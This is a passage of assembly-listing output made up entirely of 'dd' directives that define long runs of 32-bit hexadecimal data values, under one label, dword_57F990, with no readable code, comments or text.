dd 469A2574h, 804235h, 0D9BB40A5h, 0ADE11DF9h, 9D436700h
dd 0B63A6076h, 5090E8h, 0F91A4D23h, 505A16FAh, 82000890h
dd 0D09A416Bh, 46DC00Ch, 7E72B9A4h, 31A08008h, 200223Fh
dd 0CEE25D13h, 75F18656h, 696E0078h, 67C3EC90h, 7300BB1Ch
dd 0EE0357FBh, 0E3AA947h, 0BDB6461Bh, 0F025C287h, 0D0DA0830h
dd 1FA5C300h, 3620BFFh, 0AFE80715h, 0D3BDF523h, 22C0FC3Bh
dd 89025784h, 8C034FF2h, 0BDD2E096h, 124B05E1h, 0C0EC814Dh
dd 0F725323Dh
dd 0C2DD300h, 3D3ABCFCh, 0EAE900F6h, 10CC4D98h, 6300A47Bh
dd 0EFE7B8D0h, 0C21C0297h, 129D7C48h, 2DA301C0h, 0E0164F38h
dd 6E95C418h, 18C8F270h, 7912A77Eh, 0BC076D41h, 0E3F6EF81h
dd 7713F8A0h, 10E93006h, 333D6020h, 0AD533200h, 8939C4B6h
dd 0E2E9C720h, 0A2C03F4Bh, 0C538EF19h, 824BC00h, 0E4F38BC2h
dd 1C0A5CC3h, 0BD3FE607h, 0A41C400Dh, 38007690h, 0E3C2E96h
dd 0FC5E1899h, 771B002Ah, 0A3342B1Ah, 3F038823h, 28756158h
dd 909AFBB4h, 458CDEh, 0A3A5F2DFh, 82B1508Eh, 6776ED5Ch
dd 0C360F390h, 60A5E82Dh, 9C1E189Ah, 4E7EDCA6h, 820620DFh
dd 3C1CEEEh, 0DDD2C988h, 0D1A08145h, 217C13BBh, 10E1DA30h
dd 0C3454h, 3DBE521Eh, 6703DB31h, 36B4C000h, 1253C19Ch
dd 0DAED03ADh, 0C468D3B1h, 0B93400A5h, 1ED5FC19h, 0D39150C0h
dd 18D1A86h, 1F9D1224h, 0E450AD72h, 0E9050BF2h, 9969332Ch
dd 37C46403h, 4878EBh, 0BBB11C44h, 0C67ED50h, 7736FF00h
dd 0C04FDE4Dh, 6C78C3h, 5AAE151Fh, 5BC6AD7Eh, 56246003h
dd 8B4E7954h, 2006C018h, 97D200C2h, 0E74CE0D9h, 8E00F463h
dd 9444373Eh, 0C52E18h, 0EE61F92Fh, 8542E871h, 28231D00h
dd 0E9218A3Bh, 0FF41071Bh, 0A05D45F8h, 5B79D149h, 0FCE13900h
dd 0A6135471h, 9B0D0014h, 640B0C7h, 77F28E63h, 1B6CFF00h
dd 4D3FDE52h, 44B9002Fh, 4C0936FEh, 2A2C9634h, 803BDEFCh
dd 0C1E206F9h, 390C6298h, 798088FEh, 0F163B3F0h, 6C0EAAF6h
dd 60EB2F40h, 0F885D458h, 0DF98DBh, 4CC469E2h, 2253F66h
dd 4CF20F5h, 0C4A4FC51h, 49FC68E9h, 1A762700h, 0FA31240Fh
dd 0D1730A59h, 80DC0E03h, 577A3DC7h, 140BBB79h, 0D7789E2Fh
dd 0C8BF5700h, 29C01C0Ch, 0AB329AA2h, 13D3FA58h, 2053D08Bh
dd 0D1BDCF00h, 0E0283100h, 230EAF2Ah, 0A67650ECh, 0ECF0543Ch
dd 7E415h, 5336F955h, 0B50A4F79h, 0F2FD8218h, 30B03820h
dd 94701EC8h, 0DD00675Fh, 9ECA239Ch, 0F709012h, 0A1B886A2h
dd 0EE64B6A0h, 57141A68h, 1FC46E0Fh, 910C02B4h, 0E60C71D5h
dd 0F83092A7h, 0A6F1449Fh, 9442958h, 10C4C3E2h, 0C672B160h
dd 91C79A40h, 0D4F57600h, 853C1B65h, 26801A7h, 0ECC7906Dh
dd 1480EA1Dh, 54897A06h, 0E579F9F2h, 46E0E00h, 0A411BEB3h
dd 5C730C4Ch, 6369F60Ch, 0EF6D3701h, 22C7D8A2h, 34A982DEh
dd 87C041D1h, 1F892ADCh, 4A4C0E53h, 5C3AAAh, 10BD298Fh
dd 9C39E7B5h, 8A4C3B06h, 0C4C4760Eh, 0C7536980h, 601AC2B8h
dd 0C067121h, 0D2008F46h, 6BF4323Fh, 51B68D6Ah, 20802C76h
dd 0D25E8293h, 2107203Dh, 0FF8A2415h, 0D8858770h, 0BF6F1EDAh
dd 0C4697099h, 4700BB94h, 1CD9A0CAh, 1A2497h, 9C238FB0h
dd 0B32253E3h, 0BCCD6800h, 0C3DDFA1h, 70E967E5h, 0EE197034h
dd 6300BB9Bh, 1236E12Ah, 73A51C9h, 52D24F7Eh, 11765970h
dd 200B0C09h, 770DC968h, 0E8861F93h, 16DE851Eh, 0E3FFC0B0h
dd 0F4ABAC25h, 725FF0A8h, 0D986CD02h, 0A8F803F7h, 0E800E584h
dd 9A763A40h, 0C9F8A3B9h, 218F130Ch, 4B00DF02h, 6AD8C4Ah
dd 8546B360h, 0C05A440Fh, 0A40379F9h, 0B612DD9Bh, 46F882h
dd 212D9Eh, 0BADEB370h, 1AC98158h, 0EDE8EB24h, 0C2533A00h
dd 910C39E1h, 0F8C303BCh, 20870196h, 62DB6A6h, 445FC204h
dd 50916F50h, 0A2CE0C55h, 0C082C99Ch, 16813418h, 0BE3F786Bh
dd 0C085250Fh, 0A05F2827h, 192224D0h, 433F40B8h, 0A0B036CEh
dd 44259A0Ah, 8E8028E0h, 228A2387h, 7AD00043h, 0BEA3799Ch
dd 997F7DC6h, 2B654100h, 460EBBF3h, 0D2473AABh, 1B62980h
dd 0FEA4D6Eh, 0D8D47124h, 0D91A6D8Ch, 27A80EE0h, 0B87F8644h
dd 0D9BF900h, 438034EAh, 39110F0Eh, 3D835B0h, 50B7D6E8h
dd 0C5F580B2h, 2C170035h, 92B08BFBh, 4D0468AAh, 96DEBA9h
dd 0CADD0490h, 0ECDE0E1Ch, 88A0DF7Bh, 9140D7CFh, 0F6F0105Bh
dd 321EE27h, 1F66A3D4h, 0B08F0739h, 20BA6BCFh, 53628000h
dd 25D6EC1Dh, 4C1C5CBh, 394C8041h, 9C0794D0h, 74799DB0h
dd 38B81DF0h, 0D68B12CAh, 80881F3Ch, 0EBEE6FAh, 0C9D292D9h
dd 765F4800h, 90E4FE4Ah, 88275478h, 0A4F50032h, 7F5F3056h
dd 0DC007842h, 555B8598h, 0A0B2FCAFh, 2A2BFA8h, 144EA540h
dd 0E844173Eh, 6030C407h, 23306688h, 2E46C86Ch, 0FD33F51h
dd 0F8FD26BFh, 8999607Dh, 155FDDF5h, 0B10146F2h, 1E3B7188h
dd 21809AB0h, 4433A959h, 0F7E220B4h, 0FDCD80Ah, 3C286443h
dd 0C53DA0Ch, 9EC10Ah, 5A1CCE89h, 2A2C3195h, 840F9B28h
dd 5136D700h, 0F76570EAh, 24E002Dh, 0DB49BEFFh, 8C07C804h
dd 68B1B62Ah, 0F7450860h, 80409182h, 61803DA9h, 90006286h
dd 75B0BB5Bh, 319BAA7h, 950E4C9Fh, 72DBEABDh, 0C08BEE80h
dd 20035D28h, 22AC9000h, 36E42793h, 80CB0064h, 873EB54Dh
dd 0CF12CA26h, 0E00488B3h, 534CE876h, 5025FB8h, 0F348C10Eh
dd 0D80460B8h, 0A0B30324h, 491D17E8h, 75388CECh, 693FEEEEh
dd 3AF2014Ch, 235D1502h, 24F471C1h, 0DB27038Ch, 3BB66595h
dd 24EA8D91h, 38717FC0h, 6068498h, 5199724Fh, 543C2689h
dd 0B6C500EEh, 23F9893Ah, 0CF00DCB1h, 4B255242h, 0DCBA52D8h
dd 72B781Ch, 30E33BE6h, 0D6394946h, 85FC4F00h, 327C57ABh
dd 13C789Dh, 1709BE2Dh, 0A4DB01CEh, 123A8C71h, 0BC2723ACh
dd 0EE384290h, 0C5EC0052h, 0A0DEA5DDh, 2C01CD40h, 6E71BDABh
dd 6423658Dh, 7A396000h, 53759349h, 44B77D16h, 8A2C3D00h
dd 0C0FD6D68h, 6E58A829h, 650078C5h, 0BE142932h, 15A03h
dd 0EC118EABh, 8C754A64h, 420094B0h, 0E54BBC1Bh, 0B841AAh
dd 0BAB62D87h, 0F272BE86h, 4334EE00h, 56C1245Ah, 0C1A36523h
dd 5454806Fh, 0C9033D92h, 50C49CB8h, 3F17916h, 0CB69C217h
dd 8DE3A28Bh, 807D193Bh, 742E83DEh, 3B0F9B1h, 0E3FA9739h
dd 78E08188h, 658D2D4h, 83C126E0h, 23393930h, 0CF80002Dh
dd 0E286C7BEh, 0B51CAB77h, 8BC0560Eh, 24ED21AEh, 929F006Eh
dd 9E853B43h, 5C90BA5Eh, 893DE901h, 0A04C8782h, 977A920h
dd 454217C4h, 80B8B807h, 0C163E07Dh, 70E92724h, 5C6B148Ah
dd 0F9B6BA0Ch, 0EB970130h, 7CC577BFh, 71D209Eh, 169B7A1Eh
dd 40D6E5C0h, 0B14FFFC4h, 0CD9F0E7Ch, 11580C2Fh, 0ED0FD1D2h
dd 0A313A205h, 0A8655E32h, 0EC16A036h, 2D3009A8h, 0F086B6ADh
dd 0F30181DAh, 3A0B20C4h, 0E17EB703h, 189C2401h, 869C9B00h
dd 0A8C632BFh, 2C557416h, 3A03ED3h, 123DC48Eh, 0B8C505F0h
dd 34A5C3Ah, 3C14E7BFh, 6E008CF3h, 0FC6B7FC9h, 7EDE6030h
dd 0B1D330Ah, 0C8B1E6A0h, 0FF71F01h, 3FE42247h, 53B49355h
dd 0E7C9420h, 23A70EC7h, 2E7D47EAh, 6DFB40FCh, 6A90C9B3h
dd 71402600h, 1D0ADF0Ch, 0FCC908Ch, 9E97E5F1h, 8F90F96Ah
dd 0D9A0DBF5h, 0C8FC2EA7h, 5B690F18h, 0AB50A69h, 25C2D464h
dd 611EBE80h, 31106D6h, 171B10EEh, 0F830F10Ch, 0A23ADAh
dd 0E174FA06h, 31D892F4h, 14426400h, 0EE074397h, 32EF0385h
dd 2C560640h, 0B68C6901h, 0EA5CE30Ah, 9083DFCCh, 60BAF006h
dd 25EC79E2h, 5500FB3Eh, 4FF9A4D2h, 0EDE4D8h, 0B2C193F1h
dd 6A9AA003h, 99BEF30Ch, 3959C2h, 0D0ECB47Fh, 9693EE3Ah
dd 0B0147700h, 27A22B61h, 1C880031h, 841B0ADCh, 720352B8h
dd 9FDB092Ah, 2602B740h, 0E87C5219h, 0E080051h, 5BEC3378h
dd 3400F9E7h, 0E43227A0h
dd 58B0691Bh, 0B60B7977h, 98901685h, 2800C28Fh, 0AEC59397h
dd 3817EA5Ah, 73006863h, 13253E82h, 70C0B9BDh, 0D9A31D1Bh
dd 90B057h, 0EC518BDBh, 0C99FB354h, 2810D44Ch, 0D7FAA4E2h
dd 145FAE04h, 44415A69h, 530F3C7Bh, 23C0C4C8h, 0D5A085DBh
dd 0E00F62Eh, 8856CC18h, 1EBEB301h, 0D2BFB8A5h, 9A1CC87Eh
dd 0F3547F84h, 4248C8h, 46509F9Dh, 7BF433C4h, 0E0936E01h
dd 0F2FF06DDh, 480E0AF8h, 17801C68h, 0DB24611Ah, 5D529612h
dd 90F8F40Fh, 75E18200h, 484C6480h, 0F75C24B8h, 0BB104020h
dd 0DC315606h, 0C00E0F69h, 6E361A99h, 2409F49Bh, 0CB6B4ACh
dd 969EE982h, 0AA7881CCh, 0E425727Ah, 0CE308894h, 0C1EEE82Dh
dd 0DCB803A4h, 48A75A6Eh, 94E0D5AAh, 91B0AA50h, 7D118802h
dd 60941A76h, 2BFA6D4h, 8252A527h, 0DDC060CBh, 0A8B03B08h
dd 6E13C316h, 0EB90F400h, 1B3327A3h, 0F026CE59h, 5C76008Fh
dd 0BC5C86BBh, 478480B8h, 1EA321A4h, 9DE8EA01h, 0EDD0C08Fh
dd 0FA490A15h, 0F8730F24h, 0ECE48869h, 711494C1h, 24530840h
dd 0A2A0C0A4h, 7D765E90h, 0AD81D60Bh, 69F001BDh, 0A850116Dh
dd 4C61CE2h, 0C1579DE4h, 9F8CC80Eh, 7B98B07Eh, 0EE35B400h
dd 21BBC658h, 2C6A580Eh, 0F89E7280h, 14086439h, 8FC250A9h
dd 41C7D980h, 512AB0B9h, 1454A029h, 4A674C60h, 0B540CD88h
dd 50D36C94h, 27598B0h, 8AA5245Bh, 9048FB17h, 930FBEEAh
dd 0C0C5BA16h, 0C3541402h, 0BB330191h, 153E9C59h, 3DD1E41Ch
dd 0EA68603h, 0E0616746h, 48325168h, 9261070h, 49A01275h
dd 0C8830B18h, 0E024869Bh, 870098BDh, 0E85B4C33h, 3D58ECD7h
dd 5F079984h, 70242256h, 8B3037BAh, 7EC12A06h, 160849F7h
dd 30960F5Ch, 95B5230Ch, 246B1000h, 564ED732h, 0B721C15Fh
dd 0DCCAF2AEh, 0AA02B8E6h, 69AC0481h, 0AB744039h, 5250FEAh
dd 8E0B756Eh, 0B700048h, 3A20B560h, 9951201Ah, 0B9F8008Ch
dd 588FE1ADh, 28872407h, 25C559CEh, 80CC8h, 5BA5AFDDh
dd 0DBF87106h, 0DA28B4A0h, 40241B00h, 460F602Ch, 0BC14034Dh
dd 0B8A11D35h, 280CEAC3h, 207DF4D3h, 7868908Bh, 0C4E126Bh
dd 0E3F48C44h, 40007DFAh, 0F8537652h, 4B6DEA30h, 4DEC400Fh
dd 0AF1E17C8h, 25738A01h, 69392EC4h, 249AD9FCh, 410C6814h
dd 323C1D54h, 46A20030h, 3B941201h, 57382EC8h, 0E35D07B0h
dd 88144091h, 0E7134456h, 5027DF06h, 0A86607C0h, 5EC7C64h
dd 731D7746h, 0CEF000D2h, 50C1084Ch, 0B27180E3h, 16133B9h
dd 0E0E70059h, 8D1925EDh, 0C30C2452h, 598E2340h, 0D07104E4h
dd 0C0F56A3Eh, 33A7755Ch, 8473A507h, 91927FA8h, 0E1EC405Dh
dd 4A4A5CD8h, 1E21CD17h, 60582E68h, 8C421AF4h, 23810403h
dd 0D0B4A03Fh, 0C0DAEA79h, 0A3B9BEB0h, 909816E7h, 80702358h
dd 18E9FBD5h, 0F6D30314h, 3DE6A39Dh, 6F4DE890h, 50D46E00h
dd 9A04DB25h, 12C12501h, 0A1BA025h, 60AC06E0h, 0D3679286h
dd 0B9824701h, 3BC1037Ch, 343D848h, 9EA2DBA3h, 90C7861Ch
dd 40C43A95h, 66E49003h, 0A86C4F0Fh, 74DCC08Bh, 799F129Bh
dd 9A1800F2h, 44DF1F59h, 8D5C14F8h, 5728048h, 79EE907Ch
dd 753B26F4h, 29013994h, 1CAA774h, 0B02D03h, 7BBE2142h
dd 883AEF9h, 0CAFE0680h, 0B86BB004h, 74BB4480h, 338E89Bh
dd 3A785FFCh, 417D0B6Dh, 8187C91Eh, 8C1F6CACh, 35049E97h
dd 90C84514h, 0BA0A3D7Eh, 0BF666882h, 7C7949CFh, 0B0FDE800h
dd 5A858C7Dh, 0AAC04023h, 5CDEBEAh, 0C650C700h, 8EABC011h
dd 0BFC10024h, 2DF57092h, 3A057EC2h, 0A5B55C49h, 505628A2h
dd 3D443800h, 0DDBF69BCh, 9C61BE01h, 510C1A77h, 0B5007029h
dd 0F8129813h, 28002E64h, 0BF57C291h, 2EE8283h, 4675A6BBh
dd 605A7D0Ch, 0E832EDh, 4B1C5962h, 799069h, 0FBDF6E10h
dd 94D0A6FAh, 4585E58h, 52DDC24h, 0E9EFF8C1h, 0D4E43A02h
dd 457DE100h, 602F269Ah, 359707E6h, 1B7A752h, 637F14B8h
dd 0BF9F003Ch, 0DB3E2268h, 7E2705A9h, 0A2E94E49h, 0EECB0170h
dd 4C280B04h, 0E82163F9h, 6870ECh, 0DF48A90Ch, 8C7EAA98h
dd 1C39D12Ah, 9980CF00h, 795CC8FDh, 0DA30014h, 0F52FCD06h
dd 0E1393AFAh, 5CA82626h, 0A41D1501h, 872DB0Eh, 0C270101h
dd 0E3488B6Eh, 2FD0A5DCh, 0CA13F0h, 0D72523B6h, 0FEEBC66h
dd 620E740Ch, 99BAD9FEh, 0BD6700A0h, 66903983h, 74862C00h
dd 6C0268A9h, 5D7503F5h, 0F8643625h, 0BC7142F8h, 6026192Ch
dd 94707616h, 2C544105h, 3C1C5Ah, 0E448C42Eh, 2C00774Ah
dd 34875815h, 1F25A3F8h, 1325A94h, 1AECED27h, 8AE460AEh
dd 4B4140Eh, 805CCBBDh, 72D70944h, 0FDD94803h, 17E26967h
dd 77C5A04Ah, 0EC393464h, 854590Eh, 808D513Ah, 6498D06Bh
dd 0F9075823h, 0C6CB6ACAh, 3EEDD7E0h, 0F07D02F6h, 5A047F11h
dd 69B0B840h, 710EBE17h, 0C51B830h, 2525E46h, 6C4B2514h
dd 0FE009846h, 8F3045FAh, 23226BFh, 0E1DF566Eh, 8C4494B6h
dd 0A2135890h, 9C8001AEh, 0FBB6529Ch, 81FCCADAh, 49EAB49Bh
dd 0CF093h, 18786EBCh, 3A75F034h, 349C2626h, 690F0811h
dd 422337C4h, 2095AB50h, 1376CFE8h, 49E62A00h, 0B35DD1A7h
dd 0D7680264h, 0FD450FF7h, 0A063208Bh, 7F14C8BDh, 6DD16F02h
dd 0C470148Dh, 0DF025BCh, 6C30482Bh, 7B096D72h, 0B9B4D5h
dd 0F25C664Ch, 0DF2B0095h, 0BBCCC985h, 0C1257791h, 0BFB0A0C4h
dd 3560A71h, 4F3227A2h, 1A71A09h, 2A420E78h, 2D870841h
dd 44F87488h, 71D8046Eh, 0F2C060F1h, 0F2B0048h, 0E64A9114h
dd 0B67E09FDh, 5B00C2D6h, 8B4B3124h, 0D0A50E29h, 9AF01025h
dd 77B40111h, 8466704Ch, 3D83D3Dh, 0A0041585h, 2EE09790h
dd 18249D7Bh, 0F1C150A4h, 0F67D662Ch, 0FBBCED00h, 0EFBB8167h
dd 35D0059Eh, 8923383Bh, 0A47CC07Ch, 9790A100h, 6B321B0h
dd 65BA00D9h, 4EDB435Fh, 4024C1BEh, 660028B6h, 0C3DE6085h
dd 0A849FE7Eh, 0F53C24h, 2DABBF33h, 8609C6B8h, 0CDF84104h
dd 48899A8h, 90C83CAAh, 8BB65689h, 25DD3810h, 7480D0B6h
dd 8F69473Eh, 0DF60Fh, 2A7C676Ch, 0C42C0E3Ch, 0E580A899h
dd 66AAF76h, 0CFEAB6h, 0A68ED8A7h, 0BA86D653h, 0B5F3B0C1h
dd 0F833F073h, 0B6029222h, 697EE64Ch, 3BF85A3Ah, 5B24BABEh
dd 0EF3B0010h, 943C5C6h, 9F1634FCh, 0A1CD670h, 9E496F80h
dd 0B691Bh, 0E1955924h, 460E9F6Bh, 79847501h, 0A4F3728h
dd 0E0248C20h, 0F4915C29h, 0B9900733h, 38397124h, 0C0121E11h
dd 23B8033Ah, 0B0C88541h, 0EC2C01A9h, 1440003Dh, 3BE83112h
dd 658058F7h, 0D233742Bh, 0ECB945B8h, 0E3D13D8Fh, 0F899F2DEh
dd 735AB442h, 0EA930189h, 0B89ECB50h, 470FD84Eh, 0B96FC96h
dd 1E2578C8h, 0C750CC83h, 3346A95Ch, 74809A13h, 3D00794Ch
dd 3B06BA14h, 1A0C23h, 35DFFD7Bh, 0E253A7F3h, 1473B626h
dd 97240049h, 9124CDE9h, 0BCBF0214h, 8E0C459h, 3C1DB46Eh
dd 418744DCh, 9B2227DBh, 0A100E882h, 67DD17FFh, 815A0483h
dd 4EB8C1BEh, 0C83D17h, 87F78668h, 13151863h, 5F9830Eh
dd 0F0BDBC08h, 16046E37h, 0C45DB441h, 0BD42F4C3h, 0EA80BF85h
dd 621D64h, 72DEF124h, 7E0E945Ah, 0C0C458D5h, 3DD652C4h
dd 3F0F1C13h, 0F6B4C1F5h, 28854CB5h, 0A74D8044h, 77B965h
dd 59996BB7h, 9C50F657h, 68E39007h, 0F3108753h, 0A0295BEEh
dd 9A2418Eh, 19834A3Ah
dword_57F990 dd 5E37A418h, 8A8AC00h, 393ACB75h, 0E8C3FE0h, 8D564E88h
dd 0E3F34780h, 379026h, 0B12A127Ah, 9A01D750h, 0EF5D2100h
dd 62DF2D0Dh, 44B0B85Eh, 3891F016h, 0DB0F6CA4h, 0BE2D875h
dd 60F8940Eh, 3AAAA485h, 49231A0Bh, 25F4E03Bh, 8A9C3B5h
dd 4BC9EEBFh, 0A6EAC835h, 85616D00h, 0C155CD13h, 0EC2A9520h
dd 66E0235h, 0C48F93Ch, 8D005C01h, 6AA2C81Bh, 0E88FB524h
dd 4C9D0BBAh, 0B0845776h, 3078E520h, 0F5003EB0h, 82BB68A7h
dd 4EC84AFh, 0C13BBA1Dh, 0F65C842Ch, 0FA60068h, 642027A8h
dd 0C76C00D0h, 6772A9CCh, 0BB01FC22h, 271A4856h, 30285349h
dd 9F75F80h, 8928ADE4h, 34507423h, 59B84DBBh, 48C57000h
dd 0EBF17442h, 0C3F61484h, 3848542Ch, 58496D04h, 0C867C521h
dd 600DBECh, 611B056Ah, 9E43FA2Bh, 13F01634h, 8CC8D458h
dd 3C029944h, 42A2AD39h, 0E032E0E1h, 50211E06h, 0E2003F1Bh
dd 0F664B6F0h, 3120C72h, 20B2D26Bh, 801E3702h, 0F08197C5h
dd 0D35C9E94h, 0F89063B8h, 2835A700h, 387182FFh, 201A4FC1h
dd 6D5253F0h, 8CCE172h, 3411914h, 0EF4D8338h, 0BE90F61Ch
dd 9109C277h, 71029BFCh, 0F19801BCh, 0EC2451B0h, 600DC23h
dd 6566C14Fh, 11AAA9Ah, 5C996E38h, 71924E87h, 62152110h
dd 0BC7F0110h, 4DAB7497h, 2E390CD8h, 62D4730Eh, 0FFE04C6Eh
dd 370034E0h, 27D39CB2h, 4F3A8531h, 4C70479Eh, 1367CCh
dd 88B54EC0h, 7E6FF514h, 1A4827FCh, 0E3688390h, 0FCC7ED54h
dd 6B0FE900h, 0BB49CB2Bh, 23E68E8h, 0E340E207h, 65C37422h
dd 0D0F0B5B8h, 1CC400D7h, 23809AC1h, 0AD074957h, 0D168B37Dh
dd 85702013h, 5B0090A2h, 0ED0262C8h, 69DD1751h, 1A6EA280h
dd 493D8650h, 0AA00600Dh, 94B90793h, 0D373D497h, 517FB01h
dd 78B6EB45h, 0BAFC202Eh, 0F7192621h, 50C0F33Ch, 0C22F423h
dd 4AB89003h, 0E0A0B1B4h, 224EABEh, 0EE394433h, 604C1AC3h
dd 2504154Ch, 78EC4645h, 0FC0658A8h, 20B05C16h, 2730CFD4h
dd 837CF81Dh, 5E33F180h, 14A7B8E8h, 0B05A07D6h, 0B654E903h
dd 0B17EE591h, 5900D4B9h, 44E9A971h, 40110EA0h, 70401929h
dd 0E3184ECCh, 0E5003BB0h, 0B88C6158h, 904CBA71h, 0D4FD4518h
dd 0E009A74Eh, 6AE74FC3h, 4C7A94h, 78F5289Dh, 0F0D16DD5h
dd 0C653191Eh, 83501242h, 0E2027D22h, 34C1F690h, 0C4C5605Ch
dd 98B2AB05h, 0E480AC9Ch, 71A763h, 529F5AD3h, 5E5F879Ah
dd 78032224h, 0CBBDD640h, 0F935008Ch, 7F32073Ch, 8A3C7B67h
dd 1DC498AAh, 94691429h, 70446164h, 88E44465h, 89F4DF10h
dd 808828D5h, 23B5612h, 52DA0C28h, 1551100Ch, 6126A400h
dd 0A308A219h, 0F0930B3Ah, 40443ECFh, 26C57B00h, 0CD15E937h
dd 68940923h, 0E4803CB2h, 66DD6F5Bh, 0DFE7D02h, 0A0BE1921h
dd 0D6C8B29Ch, 0E675F8AFh, 26E034Eh, 0A8537392h, 0D39480FCh
dd 38F80824h, 0D484880Fh, 6C0E0E71h, 26F0797Ch, 4468014Fh
dd 0C04D47F9h, 0D2DC8CA0h, 74310095h, 0EA1BBC0Dh, 7F013A9Dh
dd 437EF87Ah, 49805951h, 0A168B73Ch, 0A43BEF2Eh, 157D09D1h
dd 894059BFh, 6050A84Ch, 0C4DDCD00h, 38EC6817h, 0C14803A0h
dd 2A564F7Eh, 0EAEE5100h, 0F1B6AB4Ah, 26411DDCh, 2B60801Ch
dd 1A510F7Dh, 48B42A1Ch, 0E05B2440h, 752950C9h, 12F4904Eh
dd 85446B52h, 1D0C8C80h, 2A575400h, 91C30E48h, 0A999F6DDh
dd 1F60F810h, 5D5C072Fh, 0F9A687F5h, 0FD14D0C8h, 1BB18400h
dd 322791E3h, 0DC131D8Dh, 25FE91C3h, 864BFh, 280E38F8h
dd 604CC91Bh, 14992100h, 835D10F6h, 183EE8C8h, 317D0F7Ah
dd 192A24F3h, 0E904C0C5h, 3E111A6Dh, 0DC07C8C0h, 0D0406078h
dd 389B509h, 0C7D0E849h, 72D0BFADh, 21EF81h, 0CFAA52D8h
dd 0BE583374h, 0C4358800h, 9C0E1E07h, 0CAEE2482h, 0BAEB0448h
dd 0AF10D0E1h, 6900D473h, 0D5BCE7B5h, 26503Dh, 27585386h
dd 0D3EBE459h, 7426CAB0h, 140E051h, 0DD089h, 7F2199B8h
dd 72B0DD63h, 44208E5Ah, 7084928h, 0A9258FAAh, 81381431h
dd 0CC566EBEh, 3C9C0E13h, 1DCC50C0h, 0A3580F87h, 0EDA9B690h
dd 633274C8h, 44E63725h, 0CC760058h, 87BEE58h, 2E005F11h
dd 0AA76623h, 9005D9h, 27352E0h, 0DA5185EAh, 320F9100h
dd 0CA2ABD40h, 0B9FE8A9h, 8DB66F53h, 229EE8E9h, 9D040FECh
dd 9F396007h, 903F71FEh, 5BB20B30h, 913C72h, 45EBCC1Ch
dd 32C2AD00h, 4F03BBBAh, 86653846h, 914B5001h, 0C23B2925h
dd 4C003846h, 55A79DF6h, 25E6181Dh, 90E6C98Bh, 7FB6F80Fh
dd 9DF0E016h, 4008FA6Ch, 69F2CAC7h, 5526BD00h, 1842D1E2h
dd 0A3B3073Eh, 0C0CF56BCh, 4EF8BE31h, 0EC19C12Eh, 3FBC9869h
dd 0CF88005Dh, 0C4A98315h, 52005B57h, 5F3D2A17h, 2C63DB24h
dd 899C1231h, 0CA0EDDCFh, 97EC2A1h, 27607070h, 74A88h
dd 2A92F4EBh, 3BC0B204h, 16FE7413h, 135C5420h, 70FDF4CBh
dd 209C4F3Ah, 8AA6F028h, 1805C2E0h, 171A2689h, 0CEAC9080h
dd 47112BBh, 0CD2801F8h, 0E4063487h, 79DE256Dh, 0BE5A3E40h
dd 9A821ACh, 54E40DE5h, 0E23E1044h, 0B082BDDCh, 7323B8B9h
dd 91A0990h, 0A879C89Eh, 1D60C94h, 256BB414h, 5C68F250h
dd 0E7C93980h, 69033B6Ah, 0B146EAF9h, 0FE588A2h, 0E0909573h
dd 0C2E98A21h, 0C309207Eh, 0B1DC490Eh, 621D8F6Ch, 3C440E2h
dd 3A9040A9h, 0DB0090A4h, 0F9646671h, 0E2241A19h, 0A0787832h
dd 4BF105C4h, 11B0C843h, 8B0E2500h, 151DC310h, 636C00B3h
dd 0D0F298FAh, 479F12Ch, 0C2DC8250h, 19708D12h, 501EC0D1h
dd 96D82731h, 284A025Fh, 0FF908A05h, 368034F9h, 7CCF1FC4h
dd 0A04A0F69h, 21005259h, 0FAB1D434h, 11ED4600h, 0DB43C6F5h
dd 54370B04h, 5480B678h, 0D088C6Eh, 0ACB876E8h, 49FD20Bh
dd 6F0800F2h, 288833AFh, 6DF96D3h, 7C19C38Bh, 0F00328C1h
dd 665E15A1h, 8C359841h, 0C919FA5h, 443ED4E1h, 0F34E2E00h
dd 35691598h, 74B28Dh, 0B96EEBA3h, 0C69B0668h, 14833600h
dd 0EA61BC0Eh, 754B485Fh, 99760A00h, 0AE064163h, 345C6C92h
dd 0E188015Ah, 25DF3C02h, 8E008832h, 70B88229h, 3E009310h
dd 36A6EA03h, 39674E13h, 0A7001659h, 893CE70Ch, 35001E7Bh
dd 0F5B8B9CAh, 664015h, 4CBFE514h, 0C634338Ah, 3E2081E7h
dd 0B8AA6417h, 28B31080h, 4EF272EDh, 90BFF601h, 0AF463CA1h
dd 0B1F1218Ch, 0F004CD39h, 41725FABh, 93168EC0h, 922F00E9h
dd 680E95A1h, 60198943h, 0E389401Eh, 55C2E0h, 8778B303h
dd 987656E0h, 0F25CA000h, 4C5D845Ah, 0A9363F40h, 0D815399Eh
dd 2FCE78B8h, 0DDDB8C03h, 0B0C09716h, 0C03593Dh, 46116472h
dd 2D006561h, 2E090CCBh, 7C7A30Fh, 253AD034h, 7DD72020h
dd 0C9C75E63h, 9B503BFDh, 0CD738Ah, 932EB983h, 7784BD5Ch
dd 9AD5F900h, 0FBA88EC7h, 2D3A0430h, 1C616C3h, 4944A633h
dd 0E6ADE30h, 0A18C0F0Dh, 21C41626h, 5AB59B00h, 0D0C24ED1h
dd 3D3C0766h, 91AC0127h, 8CCCDFCBh, 9183ABD9h, 59B20062h
dd 2D2A5B05h, 972EB8Ah, 52F2BD0Ch, 396E032h, 0FCB14F56h
dd 0CDE0A987h, 0B73AD5F5h, 0AB6A8022h, 3C562EC4h, 49120A38h
dd 80D490F7h, 2ADE927Eh, 960028D8h, 314DC991h, 30938F16h
dd 4815D64h, 1F056048h, 0B9434E83h, 593F9420h, 5D9C0013h
dd 9EECCD9Ah, 38611519h, 6294F3C1h, 8E68D8h, 0C5B0556Dh
dd 0F02C5A84h, 0F4B980EFh
dd 5D217489h, 65A400B6h, 5348D5BDh, 0B000ECCBh, 4118593Ch
dd 1991686h, 0DBB69212h, 80C8F7B9h, 7BF1CBC1h, 28A65E36h
dd 0C9C1B4h, 0E5FD838Fh, 93060C01h, 9E19893Fh, 0D000A416h
dd 0FA38DA4Ah, 0BFE0FB7Dh, 7C117CBCh, 5C95001Bh, 25E6272Fh
dd 4C030E8Eh, 0B3C9703h, 0FFF158BFh, 28CDBE00h, 8BEE0FCFh
dd 818980EFh, 5BDE3E82h, 4E4A00D4h, 6EE1BC31h, 6918C773h
dd 93F17F8Ah, 5A2300E4h, 0AE558C3Fh, 8B017DE0h, 0F6FC9863h
dd 44F86704h, 8EA8A169h, 313CE3D0h, 0B68117B9h, 6848FE46h
dd 9302E991h, 96B3FF07h, 7AA8407Eh, 680407CBh, 151638EFh
dd 0F5A40318h, 0A90093F7h, 6214C487h, 0CE82C9Dh, 0C95438A9h
